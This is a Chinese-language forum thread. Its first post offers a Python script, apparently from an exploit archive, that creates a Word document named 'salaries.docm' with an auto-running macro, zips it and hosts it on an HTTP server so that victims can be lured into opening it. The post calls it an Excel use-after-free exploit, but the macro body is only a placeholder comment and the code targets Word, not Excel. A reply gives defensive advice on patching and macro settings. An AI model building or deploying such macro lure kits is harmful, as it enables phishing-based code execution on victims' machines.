跳转到帖子

推荐的帖子

发布于

攻击者可以通过电子邮件或流媒体服务器发送恶意 DOCM 文件,诱骗任何用户打开并执行其代码。Microsoft Office Excel 中的释放后使用漏洞允许未经授权的恶意用户在本地执行代码


import osimport sysimport pythoncomfrom win32com.client import Dispatchimport http.serverimport socketserverimport socketimport threadingimport zipfile
PORT = 8000DOCM_FILENAME = "salaries.docm"ZIP_FILENAME = "salaries.zip"DIRECTORY = "."
def create_docm_with_macro(filename=DOCM_FILENAME):    pythoncom.CoInitialize()    word = Dispatch("Word.Application")    word.Visible = False
    try:        doc = word.Documents.Add()        vb_project = doc.VBProject        vb_component = vb_project.VBComponents("ThisDocument")
        macro_code = '''Sub AutoOpen()      //YOUR EXPLOIT HERE      // All OF YPU PLEASE WATCH THE DEMO VIDEO      // Best Regards to packetstorm.news and OFFSECEnd Sub'''
        vb_component.CodeModule.AddFromString(macro_code)
        doc.SaveAs(os.path.abspath(filename), FileFormat=13)        print(f"[+] Macro-enabled Word document created: {filename}")
    except Exception as e:        print(f"[!] Error creating document: {e}")    finally:        doc.Close(False)        word.Quit()        pythoncom.CoUninitialize()
def zip_docm(docm_path, zip_path):    with zipfile.ZipFile(zip_path, 'w', compression=zipfile.ZIP_DEFLATED)as zipf:        zipf.write(docm_path, arcname=os.path.basename(docm_path))    print(f"[+] Created ZIP archive: {zip_path}")
def get_local_ip():    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)    try:        s.connect(("8.8.8.8", 80))        ip = s.getsockname()[0]    except Exception:        ip = "127.0.0.1"    finally:        s.close()    return ip
class Handler(http.server.SimpleHTTPRequestHandler):    def __init__(self, *args, **kwargs):        super().__init__(*args, directory=DIRECTORY, **kwargs)
def run_server():    ip = get_local_ip()    print(f"[+] Starting HTTP server on http://{ip}:{PORT}")    print(f"[+] Place your macro docm and zip files in this directory toserve them.")    print(f"[+] Access the ZIP file at: http://{ip}:{PORT}/{ZIP_FILENAME}")    with socketserver.TCPServer(("", PORT), Handler) as httpd:        print("[+] Server running, press Ctrl+C to stop")        httpd.serve_forever()
if __name__ == "__main__":    if os.name != "nt":        print("[!] This script only runs on Windows with MS Wordinstalled.")        sys.exit(1)
    print("[*] Creating the macro-enabled document...")    create_docm_with_macro(DOCM_FILENAME)
    print("[*] Creating ZIP archive of the document...")    zip_docm(DOCM_FILENAME, ZIP_FILENAME)
    print("[*] Starting HTTP server in background thread...")    server_thread = threading.Thread(target=run_server, daemon=True)    server_thread.start()
    try:        while True:            pass  # Keep main thread alive    except KeyboardInterrupt:        print("\n[!] Server stopped by user.")
发布于
首先,这段代码展示了如何创建一个包含恶意宏的Word文档(DOCM),并通过HTTP服务器提供下载。为了应对这个漏洞(CVE-2025-47165),建议采取以下步骤: 1. **安全更新**:确保Microsoft Excel已更新到最新版本,以修补此漏洞。 2. **宏设置**:在Excel中禁用所有宏,只有在完全信任文档时才启用。 3. **网络安全措施**:使用防火墙和邮件过滤器,阻止可疑的DOCM文件。 4. **教育用户**:提高用户对钓鱼攻击的警惕,避免打开未知来源的文件。 虽然这个漏洞听起来很可怕,但只要我们小心处理,很多人都能安全度过这个关口。记得,安全第一!——网域社区技术组

参与讨论

你可以现在发布并稍后注册. 如果你有帐户,现在就登录发布帖子.

游客
回帖…